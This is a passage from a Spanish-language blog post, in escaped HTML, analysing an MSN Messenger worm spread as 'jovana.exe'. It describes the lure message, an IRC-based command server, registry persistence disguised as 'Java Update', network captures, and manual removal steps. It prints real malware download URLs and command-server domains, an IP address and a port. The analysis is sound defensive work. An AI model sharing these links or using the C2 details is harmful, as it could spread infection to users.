ahora.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;b style="mso-bidi-font-weight: normal"&gt;&lt;font size="3"&gt;&lt;font face="Times New Roman"&gt;Método de propagación:&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;A través del servicio de mensajería msn, explícitamente utilizando alguna vulnerabilidad del cliente Microsoft (comprobado sobre Windows LiveMessenger Versión 2009 Compilación 14.0.8089.726, al emesene no lo afecta :D http://www.emesene.org/). Se propaga con el mensaje que se ve en la siguiente imagen:&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&lt;?xml:namespace prefix ="" v /&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;&lt;v:stroke joinstyle="miter"&gt;&lt;/v:stroke&gt;&lt;v:formulas&gt;&lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 1 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum 0 0 @1"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @2 1 2"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelWidth"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelHeight"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 0 1"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @6 1 2"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelWidth"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @8 21600 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelHeight"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @10 21600 0"&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;&lt;v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"&gt;&lt;/v:path&gt;&lt;o:lock v:ext="edit" aspectratio="t"&gt;&lt;img alt="Test3" src="http://viviendolared.x10hosting.com/images/test3_small1.jpg" border="0" /&gt;&lt;/o:lock&gt;&lt;/v:shapetype&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;b style="mso-bidi-font-weight: normal"&gt;&lt;font size="3"&gt;&lt;font face="Times New Roman"&gt;Puntos a tener en cuenta:&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;ul style="MARGIN-TOP: 0cm" type="disc"&gt;&lt;br /&gt;&lt;li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l2 level1 lfo1; tab-stops: list 36.0pt"&gt;&lt;a href="http://sexy-brazil.com/jovana.exe?XXXXX@hotmail.com"&gt;&lt;font face="Times New Roman" size="3"&gt;http://sexy-brazil.com/jovana.exe?XXXXX@hotmail.com&lt;/font&gt;&lt;/a&gt;&lt;font face="Times New Roman" size="3"&gt; Claramente se trata de un enlace a un sitio en Internet y no una foto enviada normalmente por un contacto a través del cliente de Messenger. Aunque podría ser la dirección de un blog o fotolog de nuestro contacto, da para desconfiar el nombre del dominio no?&lt;/font&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l2 level1 lfo1; tab-stops: list 36.0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Se puede observar la terrible semántica de la oración, algo que nos puede dar a entender que quienes lucran con esto no tienen mínima idea de español. Pero claro&amp;hellip; si consideramos como escribe la gente en estos tiempos jajaja.&lt;/font&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l2 level1 lfo1; tab-stops: list 36.0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;El enlace nos permite descargar el archivo &lt;b style="mso-bidi-font-weight: normal"&gt;jovana.exe&lt;/b&gt;, para los &amp;ldquo;eruditos&amp;rdquo; de la informática es simple darse cuenta que esto obviamente no puede tratarse de ninguna fotografía ni nada similar, no es mas que un archivo ejecutable con código escrito por vaya a saber quien. Es otro indicio claro de que se trata de un engaño marca ACME!!!, pero no todo el mundo tiene porque saber qué corcho es un .exe. Además vemos que en el enlace se envía nuestra dirección de correo electrónico (que en este caso sería la mia privada, por eso las Xs) como parámetro, entonces cabe la posibilidad de que estos seres estén también guardando direcciones para luego utilizarlas en el &lt;b style="mso-bidi-font-weight: normal"&gt;TAN&lt;/b&gt; redituable negocio del SPAM.&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font size="3"&gt;&lt;font face="Times New Roman"&gt;Si introducimos la dirección del dominio en el buscador (http://sexy-brazil.com) podemos ver que se trata de un servidor Apache 2 corriendo sobre CentOS. Se trata de una instalación completamente básica, a tal punto que se ve la página de la instalación sin más :D &lt;i style="mso-bidi-font-style: normal"&gt;&amp;ldquo;&amp;hellip;You may now add content to the directory &lt;/i&gt;&lt;/font&gt;&lt;/font&gt;&lt;tt&gt;&lt;i style="mso-bidi-font-style: normal"&gt;&lt;span style="FONT-SIZE: 10pt"&gt;/var/www/html/&lt;/span&gt;&lt;/i&gt;&lt;/tt&gt;&lt;font size="3"&gt;&lt;font face="Times New Roman"&gt;&lt;i style="mso-bidi-font-style: normal"&gt;. &lt;/i&gt;&lt;i style="mso-bidi-font-style: normal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language: EN-GB"&gt;Note that until you do so, people visiting your website will see this page and not your content&amp;hellip;&lt;/span&gt;&lt;/i&gt;&lt;span lang="EN-GB" style="mso-ansi-language: EN-GB"&gt;&amp;rdquo;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt" align="center"&gt;&lt;span lang="EN-GB" style="mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&lt;img alt="Sitio" src="http://viviendolared.x10hosting.com/images/sitio_small.jpg" border="0" /&gt;&lt;/font&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Cuando analizamos el dominio con &lt;/font&gt;&lt;a href="http://whois.domaintools.com/sexy-brazil.com"&gt;&lt;font face="Times New Roman" size="3"&gt;http://whois.domaintools.com/sexy-brazil.com&lt;/font&gt;&lt;/a&gt;&lt;font face="Times New Roman" size="3"&gt; vemos que el registrante es Contactprivacy, una empresa que se encarga de resguardar la privacidad del registrante real. El dominio fue creado el 13 de enero de este año, y contratado por un año entero, es decir que es un plan bastante nuevo este jaja. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;A tal punto su condición de nuevo, que los primeros infectados recibían el mensaje con el archivo &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;test.exe&lt;/b&gt;&amp;rdquo; en lugar de &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;jovana.exe&lt;/b&gt;&amp;rdquo;, tengo copia de ambos y tienen distintos tamaños, por lo que cabe pensar que &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;jovana.exe&lt;/b&gt;&amp;rdquo; sea una versión definitiva del software, inclusive el proceso que se ejecuta luego de la infección cambió de nombre con la nueva versión. Inicialmente se llamaba &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;h0lasps&lt;/b&gt;&amp;rdquo; y ahora se llama &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;DEferen&lt;/b&gt;&amp;rdquo;.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;A continuación una imagen del proceso en ejecución:&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&lt;img alt="Prco" src="http://viviendolared.x10hosting.com/images/prco_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&lt;font size="3"&gt;&lt;font face="Times New Roman"&gt;Acabo de recibir una nueva actualización :D (16:47hs del 17 de enero), esta vez llegó un mensaje con el nombre &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;test3.exe&lt;/b&gt;&amp;rdquo;, lo cual indica que realmente están trabajando en estos momentos. No llegué a descargar esta versión ya que a los pocos minutos cambiaron nuevamente a &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;jovana.exe&lt;/b&gt;&amp;rdquo;. Pero este nuevo jovana no tiene el mismo tamaño que el anterior, así que seguramente es la release de test3 :D. También acaban de cambiar el nombre del dominio a &lt;strong&gt;homewww.knaqu.eu&lt;/strong&gt;, seguramente habrá muchos cambios de nombres de dominio, de nombre del proceso y de nombre del archivo de infección, ya que es&amp;nbsp;una forma de prolongar su propagación.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;b style="mso-bidi-font-weight: normal"&gt;&lt;font face="Times New Roman" size="3"&gt;Accionar:&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Cuando ejecutamos el archivo &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;jovana.exe&lt;/b&gt;&amp;rdquo; (en el caso de que los programas antivirus no lo hallan adverdito, mi caso con Avast actualizado a la fecha 17/01/2010) nos encontraremos con la penosa noticia de que &amp;ldquo;Picture canot be displayed.&amp;rdquo; No podemos ver la imagen (que pena, verdad?). &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;&lt;/font&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&lt;img alt="Ejecutado" src="http://viviendolared.x10hosting.com/images/ejecutado_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Una vez que presionamos &amp;ldquo;Aceptar&amp;rdquo; este mensaje desaparece como si eso fuera todo, pero claro&amp;hellip; no lo es. A partir de allí, suceden algunas cosas:&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;ol style="MARGIN-TOP: 0cm" type="1"&gt;&lt;br /&gt;&lt;li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l0 level1 lfo2; tab-stops: list 36.0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Se lanza el proceso con nombre &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;DEferen.exe.exe&lt;/b&gt;&amp;rdquo;, que inicia una conexión TCP al dominio &amp;rdquo;&lt;b style="mso-bidi-font-weight: normal"&gt;komet2v.knaqu.eu&lt;/b&gt;&amp;rdquo; al puerto 27034. Aparentemente utiliza el protocolo IRC para intercambiar mensajes y órdenes. Por este medio llegan las notificaciones que luego se envían por el cliente de mensajería.&lt;/font&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Si analizamos este dominio como hicimos con el anterior (http://whois.domaintools.com/knaqu.eu), podemos ver que la entidad registrante está NOT DISCLOSED!, es decir, no está revelada&amp;hellip; Poco serio??? Jajaja.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Podemos apreciar la conexión establecida mediante netstat, como se muestra en la imagen. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt" align="center"&gt;&lt;img alt="ConexionTCP0" src="http://viviendolared.x10hosting.com/images/conexionTCP0_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;En el primer cuadro rojo podemos ver el nombre del dominio que se obtuvo de la resolución inversa de la dirección 217.148.32.202 &amp;hellip;, un dominio &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;.uk&lt;/b&gt;&amp;rdquo;, del reino unido??? WTF!!! La resolución directa de &lt;b style="mso-bidi-font-weight: normal"&gt;komet2v.knaqu.eu&lt;/b&gt;, nos da esa dirección IP anterior, pero la resolución inversa de esa dirección no nos devuelve &lt;b style="mso-bidi-font-weight: normal"&gt;komet2v.knaqu.eu&lt;/b&gt;; es decir no coinciden, lo cual es un tanto sospechoso. Orchard Design es una organización de E-Business, según así lo relata su sitio web: orchard-design.co.uk, que además está en remodelamiento&amp;hellip; lo cual lo hace más raro aún&amp;hellip; Puede que estén utilizando algún servidor de este dominio para esta actividad. En fin&amp;hellip; todo suena un poco raro :D. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;ol style="MARGIN-TOP: 0cm" type="1" start="2"&gt;&lt;br /&gt;&lt;li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l0 level1 lfo2; tab-stops: list 36.0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Se agrega una clave en el registro para asegurarse que el proceso vuelva a iniciarse cuando el sistema se reinicie o apague. Copia el archivo ejecutable en una carpeta del usuario, en la dirección que indican las imágenes.&lt;/font&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;La clave utiliza el nombre Java Update como camuflaje, simpático, no?&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&lt;img alt="Clavedelregistro1" src="http://viviendolared.x10hosting.com/images/clavedelregistro1_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Carpeta Temp del usuario, donde se localiza el archivo.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt" align="center"&gt;&lt;img alt="Copiaentemporales" src="http://viviendolared.x10hosting.com/images/copiaentemporales_small1.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Con wireshark seguimos el establecimiento de la conexión, y vemos la primer consulta DNS para obtener la dirección del dominio &amp;rdquo;&lt;b style="mso-bidi-font-weight: normal"&gt;komet2v.knaqu.eu&lt;/b&gt;&amp;rdquo; y luego la conexión TCP.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt" align="center"&gt;&lt;img alt="ConexionDNSyTCP" src="http://viviendolared.x10hosting.com/images/conexionDNSyTCP_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Ahora seguimos la conexión TCP para ver qué información viaja entre el cliente (nos) y el servidor (vaya a saber quien). &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;&lt;/font&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt" align="center"&gt;&lt;font face="Times New Roman" size="3"&gt;&lt;img alt="ConexionTCP1" src="http://viviendolared.x10hosting.com/images/conexionTCP1_small.jpg" border="0" /&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;&lt;/font&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Se puede apreciar la autenticación del tipo IRC que realiza el cliente, y vemos que uno de los datos enviados por el cliente es el nombre del equipo, en nuestro caso &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;asd-0183eaaee49&lt;/b&gt;&amp;rdquo;, posiblemente utilizado para distinguir los &amp;ldquo;bots&amp;rdquo; de la red. El IRC nunca fue mi fuerte, pero se pueden ver conexiones y cambios de modo del canal al cual se une el cliente. También se observa una suerte de mecanismo de ping, para cerciorarse que el bot aún sigue funcional.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;En la próxima imagen se ven las órdenes recibidas del servidor para mandar los mensajes con la dirección del archivo infectado. Esta es una técnica muy interesante, ya que de esta manera cualquier cambio en el nombre o la dirección de los archivos de infección, se actualiza fácilmente sólo cambiando el mensaje que se envía a los clientes. Se puede ver que el primer mensaje se envió indicando el archivo &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;test3.exe&lt;/b&gt;&amp;rdquo; y el siguiente fue de &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;jovana.exe&lt;/b&gt;&amp;rdquo;.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt" align="center"&gt;&lt;img alt="ConexionTCP2" src="http://viviendolared.x10hosting.com/images/conexionTCP2_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;En lo que va de estos dos días solamente pude ver mensajes de este tipo, es decir, no recibí mensajes que indicaran otra acción al programa residente. Lo cual no descarta que esta sea solamente la primer etapa de la infección, donde lo único importante es elevar el número de bots de la red (si es que se trata de esto :D, adoro la ciencia ficción :D).&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;b style="mso-bidi-font-weight: normal"&gt;&lt;font size="3"&gt;&lt;font face="Times New Roman"&gt;Desinfección:&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;b style="mso-bidi-font-weight: normal"&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;La desinfección es bastante simple:&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;ul style="MARGIN-TOP: 0cm" type="disc"&gt;&lt;br /&gt;&lt;li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l1 level1 lfo3; tab-stops: list 36.0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Matamos el proceso con el administrador de tareas de Windows, para detener inmediatamente el proceso y así frenar la comunicación con el servidor maligno. Nos aseguramos de estar cerrando el proceso correcto comparando el PID que vemos alli en el administrador de tarea y el que vimos mediante netstat. :D&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&lt;img alt="Desinfeccion1" src="http://viviendolared.x10hosting.com/images/desinfeccion1_small1.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;ul style="MARGIN-TOP: 0cm" type="disc"&gt;&lt;br /&gt;&lt;li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l1 level1 lfo3; tab-stops: list 36.0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Luego eliminamos tanto el archivo descargado como la copia que se almacenó en la carpeta &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;Temp&lt;/b&gt;&amp;rdquo;.&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt" align="center"&gt;&lt;img alt="Desinfeccion2" src="http://viviendolared.x10hosting.com/images/desinfeccion2_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;ul style="MARGIN-TOP: 0cm" type="disc"&gt;&lt;br /&gt;&lt;li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l1 level1 lfo3; tab-stops: list 36.0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Y por último quitarlo del inicio, ya sea borrando la clave del registro o modificando desde la aplicación &amp;ldquo;&lt;b style="mso-bidi-font-weight: normal"&gt;msconfig&lt;/b&gt;&amp;rdquo; en la pestaña de inicio.&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Inicio-&amp;gt;Ejecutar-&amp;gt;msconfig :D&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt" align="center"&gt;&lt;img alt="Desinfeccion4" src="http://viviendolared.x10hosting.com/images/desinfeccion4_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Eliminar la clave del registro, Inicio-&amp;gt;Ejecutar-&amp;gt;regedit la dirección de la clave está en la imagen:&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt" align="center"&gt;&lt;img alt="Desinfeccion3" src="http://viviendolared.x10hosting.com/images/desinfeccion3_small1.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;En definitiva se trata una vez mas de un posible troyano molesto de esos que se propagan gracias (mayoritariamente) a la desonocimiento 